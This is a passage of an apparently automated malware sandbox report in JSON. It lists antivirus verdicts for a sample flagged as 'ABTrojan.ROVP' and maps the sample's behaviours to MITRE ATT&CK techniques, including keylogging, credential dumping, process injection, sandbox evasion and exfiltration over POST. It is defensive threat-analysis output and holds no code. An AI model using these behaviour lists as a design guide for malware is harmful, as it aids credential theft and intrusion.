efender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"ABTrojan.ROVP-","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"ABTrojan.ROVP","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Persistence","technique":"Installer Packages","attack_id":"T1546.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/016","identifiers":[{"type":"suspicious","value":"Able to execute scripts via MSI custom actions during software installation"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads system mouse configuration"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Found system command-related strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"suspicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Attempts to access unusual system drive letters"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"GETs files from a web server"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Contains ability to set the value of an HTTP request header"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"},{"type":"informative","value":"Contains ability to empty the recycle bin (API 